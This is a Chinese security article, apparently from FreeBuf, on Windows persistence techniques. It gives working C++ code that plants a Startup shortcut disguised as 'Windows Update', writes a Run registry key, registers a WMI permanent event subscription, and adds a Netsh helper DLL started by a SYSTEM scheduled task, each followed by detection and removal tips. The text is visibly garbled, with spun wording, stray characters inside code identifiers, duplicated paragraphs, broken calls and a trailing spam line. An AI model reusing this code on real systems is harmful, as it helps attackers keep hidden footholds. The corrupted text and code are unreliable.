}

wsprintf(command, _TEXT("%s"), _TEXT("This is For Windows Update!!!"));

hcode = shelllnk->SetDeion(command);

if (hcode != S_OK)

{

goto Error_Exit;

}

hcode = shelllnk->SetWorkingDirectory(_TEXT("c:\\"));

if (hcode != S_OK)

{

goto Error_Exit;

}

//获取发动目录

if(SHGetSpecialFolderPath(NULL, startup_path, CSIDL_STARTUP, FALSE) == FALSE)

{

goto Error_Exit;

}

wsprintf(save_path, _TEXT("%s\\%s"), startup_path, _TEXT("Windows Update.Lnk"));

hcode = pstfile->Save(save_path, TRUE);

if (hcode != S_OK)

{

goto Error_Exit;

}

ret = TRUE;

Error_Exit:

if (shelllnk != NULL)

{

shelllnk->Release;

shelllnk = NULL;

}

if (pstfile != NULL)

{

pstfile->Release;

pstfile = NULL;

}

CoUninitialize;

return ret;

}

从资源中开释文件的代码如下:

BOOL ReleaseFile(LPTSTR resource_type, LPTSTR resource_name, LPCTSTR save_path)

{

BOOL ret = FALSE;

DWORD cb = NULL;

HRSRC h_resource = NULL;

DWORD resource_size = NULL;

LPVOID resource_pt = NULL;

HGLOBAL h_resource_load = NULL;

HANDLE save_file = NULL;

h_resource = FindResource(NULL, resource_name, resource_type);

if (NULL == h_resource)

{

goto Error_Exit;

}

resource_size = SizeofResource(NULL, h_resource);

if (0 >= resource_size)

{

goto Error_Exit;

}

h_resource_load = LoadResource(NULL, h_resource);

if (NULL == h_resource_load)

{

goto Error_Exit;

}

resource_pt = LockResource(h_resource_load);

if (NULL == resource_pt)

{

goto Error_Exit;

}

save_f权诗妍ile = CreateFile(save_path, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

if(save_file == INVALID_HANDLE_VALUE)

{

goto Error_Exit;

}

for (DWORD i = 0; i < resource_size; i++)

{

if ((WriteFile(save_file,(PBYTE)resource_pt + i, sizeof(BYTE), &cb, NULL) == FALSE) ||

(sizeof(BYTE) != cb))

{

goto Error_Exit;

}

}

ret = TRUE;

Error_Exit:

if (h_resource_load != NULL)

{

FreeResource(h_resource_load);

h_resource_load爽 = NULL;

}

if (h_resource != NULL)

{

CloseHandle(h_resource);

h_resource = NULL;

}

return ret;

}

2.Run 注册表项

默许状况下,在 Windows 体系上创立下列运转键:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

这个 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx 也可用,但在 WindowsVista 和更新版别上默许不创立。

只需选择其间一项修正就能够,下面代码以 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 为例:

#include

#include

int main

{

//HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

HKEY hKey;

DWORD dwDisposition;

const char path[] = "C:\\HelloTopSec.exe";//hello.exe

if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_CURRENT_USER,

"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))

{

return 0;

}

if (ERROR_SUCCESS != RegSetValueExA(hKey, "hello", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path))))

{

return 0;

}

return 0;

}

运转作用图

在 Startup 目录的快捷办法会在体系发动的时分被履行

HelloTopSec.exe 在体系发动的时分被履行

检查及铲除办法

1.检查一切坐落 Startup 目录的快捷办法,删去有不明来历的快捷办法

2.因为快捷办法的方针途径或许不会改动,因而对与已知软件更改,修补程序,删去等无关的快捷办法文件的修正都或许是可疑的。

3.检查注册表项的更改。

1.检查一切坐落 Startup 目录的快捷办法,删去有不明来历的快捷办法

2.因为快捷办法的方针途径或许不会改动,因而对与已知软件更改,修补程序,删去等无关的快捷办法文件的修正都或许是可疑的。

3.检查注册表项的更改。

Windows 办理标准(Windows Management Instrumentation,缩写 WMI)由一系列对 Windows Driver Model 的扩展组成,它经过仪器组件供给信息和告诉,供给了一个操作体系的接口。从进犯者或防护者的视点来看,WMI 最强壮的功用之一是 WMI 能够呼应 WMI 事情。除了少量破例,WMI 事情可用于呼应简直任何操作体系事情。例如,WMI 事情可用于在进程创立时触发事情。然后,能够将此机制用作在任何 Windows 操作体系上履行指令行指令。有两类 WMI 事情,在单个进程的上下文中本地运转的事情和永久 WMI 事情过滤。本地事情继续主机进程的生命周期,而永久 WMI 事情存储在 WMI 存储库中,以 SYSTEM 身份运转,并在从头引导后坚持不变。据各安全厂商发表,有不少 APT 组织运用这种技能来坚持后门耐久性,怎么防护 WMI 进犯值得安全研究人员进行了解。

WMI 答应经过脚本言语 (VB 或 Windows PowerShell) 来办理本地或长途的 Windows 计算机或服务器,相同的, 微软还为 WMI 供给了一个称之为 Windows Management Instrumentation Command-line(WMIC)的指令行界面,咱们还能够经过 WMIC 东西来办理体系中的 WMI。

WMI 查询运用 WMI 查询言语(WQ虾皮L),它是 SQL 的一个子集,具有较小的语义更改以支撑 WMI。WQL 支撑三种类型的查询,数据查询、架构查询及事情查询。顾客运用事情查询进行注册,以接纳事情告诉,事情供给程序则运用事情查询进行注册以支撑一个或多个事情。

要装置永久 WMI 事情订阅,需求履行以下三步:

1. 注册事情过滤器 – 也便是感爱好的事情,或许说触发条件

2. 注册事情顾客 – 指定触发事情时要履行的操作

3. 绑定事情顾客和过滤器 – 将事情过滤器和事情顾客绑定,以在事情触发时履行指定操作。

1. 注册事情过滤器 – 也便是感爱好的事情,或许说触发条件

2. 注册事情顾客 – 指定触发事情时要履行的操作

3. 绑定事情顾客和过滤器 – 将事情过滤器和事情顾客绑定,以在事情触发时履行指定操作。

如下的图是某样本经过 PowerShell 注册 WMI 永久事情过滤完结耐久化的代码:

如下的代码演示了怎么经过运用 WMIC 东西注册 WMI 事情来完结后门耐久化,注册的事情会在体系发动时刻 120 后收到告诉,履行 CMD 指令调用 Rundll32 加载咱们指定的 DLL 并履行其导出函数。

BOOL add_wmi_filter

{

BOOL ret = FALSE;

int path_len = NULL;

TCHAR* command = NULL;

STARTUPINFO si = {0};

PROCESS_INFORMATION pi = {0};

si.cb = sizeof(STARTUPINFO);

si.wShowWindow = SW_HIDE;

command = new TCHAR[MAXBYTE * 7];

if (command == NULL)

{

goto ERROR_EXIT;

}

//增加一个 event filter

wsprintf(command, _TEXT("cmd \/c \"wmic \/NAMESPACE:\"\\\\root\\subion\" PATH __EventFilter CREATE Name=\"TopsecEventFilter\", EventNameSpace=\"root\\cimv2\",QueryLanguage=\"WQL\", Qu藤壶ery=\"SELECT * FROM __InstanceModificationEvent WITHIN 20 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >=120 AND TargetInstance.SystemUpTime < 150\"\""));

if(!CreateProcess(NULL, command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi))

{

goto ERROR_EXIT;

}

WaitForSingleObject(pi.hProcess, INFINITE);

TerminateProcess(pi.hProcess, 0);

//增加一个事情顾客

wsprintf(command, _TEXT("cmd \/c \"wmic \/NAMESPACE:\"\\\\root\\subion\" PATH CommandLineEventConsumer CREATE Name=\"TopsecConsumer\", ExecutablePath=\"C:\\Windows\\System32\\cmd.exe\",CommandLineTemplate=\" \/c Rundll32 C:\\topsec.dll RunProc\"\""));

memset(&pi, 0, sizeof(pi));

if(!CreateProcess(NULL, command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi))

{

goto ERROR_EXIT;

}

WaitForSingleObject(pi.hProcess, INFINITE);

TerminateProcess(pi.hProcess, 0);

//绑定事情及顾客

wsprintf(command, _TEXT("cmd \/c \"wmic \/NAMESPACE:\"\\\\root\\subion\" PATH __FilterToConsumerBinding CREATE Filter=\"__EventFilter.Name=\\\"TopsecEventFilter\\\"\", Consumer=\"CommandLineEventConsumer.Name=\\\"TopsecConsumer\\\"\"\""));

memset(&pi, 0, sizeof(pi));

if(!CreateProcess(NULL, command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi))

{

goto ERROR_EXIT;

}

WaitForSingleObject(pi.hProcess, INFINITE);

TerminateProcess(pi.hProcess, 0);

ret = TRUE;

ERROR_EXIT:

if (command != NULL)

{

delete[] command;

command = NULL;

}

return ret;

}

有关事情查询的更多信息,能够检查微软在线协助,。

有关 WMI 查询的更多信息,能够检查微软在线协助,。

关于 WMI 攻防的更多信息,也能够参阅 FireEye 发布的白皮书,《》。

运转作用图

运转该程序后,会在体系中装置 WMI 事情,运用 AutoRun 东西检查 WMI 相关的数据

重启电脑,等体系运转时长超越 120 秒后,触发事情,咱们设定的指令被履行

检查及铲除办法

1.运用 AutoRuns 东西检查 WMI 订阅,并删去不明来历的事情订阅,可经过与已知杰出的惯例主机进行比照的办法,来承认事情订阅是否为不明来历。

1.运用 AutoRuns 东西检查 WMI 订阅,并删去不明来历的事情订阅,可经过与已知杰出的惯例主机进行比照的办法,来承认事情订阅是否为不明来历。

原理及代码介绍

Netsh.exe(也称为 Netshell)是一个指令行脚本实用程序,用于与体系的网络装备进行交互。它包括增加辅佐 DLL 以扩展实用程序功用的功用,运用「netsh add helper」即可注册新的扩展 DLL,注册扩展 DLL 后,在发动 Netsh 的时分便会加载咱们指定的 DLL。注册的 Netsh Helper DLL 的途径会保存到 Windows 注册表中的 HKLM\SOFTWARE\Microsoft\Netsh 途径下。

当运用另一种耐久性技能主动履行 netsh.exe 时,进犯者能够运用带有 Helper DLL 的 Netsh.exe 以耐久办法署理履行恣意代码。

方案使命程序是 Microsoft Windows 的一个组件,它供给了在预界说时刻或指定时刻距离之后组织程序或脚本发动的功用,也称为作业调度或使命调度。体系中的 schtasks.exe 用于办理方案使命,答应办理员创立、删去、查询、更改、运转和间断本地或长途体系上的方案使命。如从方案表中增加和删去使命,按需求发动和间断使命,显现和更改方案使命。

如下的代码演示了进犯者怎么经过在 Netsh 指令增加 Helper DLL 并经过调用 schtasks 程序来新建方案使命,完结代码耐久化的意图。

BOOL add_to_netsh_helper(LPCTSTR dll_path)

{

BOOL ret = FALSE;

int path_len = NULL;

TCHAR* command = NULL;

STARTUPINFO si = {0};

PROCESS_INFORMATION pi = {0};

si.cb = sizeof(STARTUPINFO);

path_len = _tcslen(dll_path);

command = new TCHAR[(path_len * sizeof(TCHAR) + sizeof(TCHAR)) * 2];

//增加 netsh helper

wsprintf(command, _TEXT("cmd \/c \"netsh add helper %s\""), dll_path);

if(!CreateProcess(NULL, command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi))

{

goto ERROR_EXIT;

}

WaitForSingleObject(pi.hProcess, INFINITE);

memset(&pi, 0, sizeof(pi));

//增加 netsh 主程序到方案使命

wsprintf(command, _TEXT("cmd \/c \"schtasks.exe \/create \/tn \"init\" \/ru SYSTEM \/sc ONSTART \/tr \"C:\\windows\\system32\\netsh.exe\"\""));

if(!CreateProcess(NULL, command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi))

{

goto ERROR_EXIT;

}

WaitForSingleObject(pi.hProcess, INFINITE);

ret = TRUE;

ERROR_EXIT:

if (command != NULL)

{

delete[] command;

command = NULL;

}

return ret;

}

其间 Netsh Helper DLL 需求导出一个函数供 Netsh 调用,导出函数原型及要害代码如下:

BOOL APIENTRY DllMain( HMODULE hModule,

DWORD ul_reason_for_call,

LPVOID lpReserved

)

{

switch (ul_reason_for_call)

{

case DLL_PROCESS_ATTACH:

OutputDebugString(_TEXT("Load DLL~~"));

break;

case DLL_THREAD_ATTACH:

case DLL_THREAD_DETACH:

case DLL_PROCESS_DETACH:

break;

}

return TRUE;

}

DWORD _stdcall NewThreadProc(LPVOID lpParam)

{

while (TRUE)

{

OutputDebugString(_TEXT("Netsh Helper, Hello Topsec"));

}

return 0;

}

extern "C" DWORD _stdcall InitHelperDll(DWORD dwNetshVersion, PVOID Reserved)

{

CreateThread(NULL, NULL, NewThreadProc, NULL, NULL, NULL);

MessageBox(NULL, _TEXT("Netsh Helper, Hello Topsec"), NULL, MB_OK);

return NO_ERROR;

}

运转作用图

上面的代码首要增加 Netsh Helper DLL,然后增加方案使命,在体系发动的时分发动 Netsh。计算机重启后作用如图:

运转后的注册表键值状况如下图所示:

检查及铲除办法

1.检查注册表途径 HKLM\SOFTWARE\Microsoft\Netsh,检查是否有不明来历的 Helper DLL 注册信息并删去。

1.检查注册表途径 HKLM\SOFTWARE\Microsoft\Netsh,检查是否有不明来历的 Helper DLL 注册信息并删去。

以上便是耐久化进犯的全部内容了,经过本文总结的这些进犯手法能够看出,有的虽陈词滥调,却不行忽视,有的规划很奇妙,令人收获颇丰。它们如同无孔不入,一切的进犯都是为了更荫蔽,更耐久的运转。当然,这必定不是 MITRE ATT&CK™上的一切内容,更不是进犯者的一切手法,必定会有一些进犯手法尚未被发现。幻想着,当进犯者不断获取着体系上的信息,而你却不自知时,这是多么可怕!作为安全作业者,咱们不该满意于现状,更应该具有好奇心和创造力,去发现不知道的安全隐患。

本文到此就完毕了,接下来会依据 MITRE ATT&CK™出一系列相似的文章,敬请期待!

*本文原创作者:alphalab,本文属FreeBuf原创奖赏方案,未经许可制止转载

the end
万物皆可 App,app发展,创建app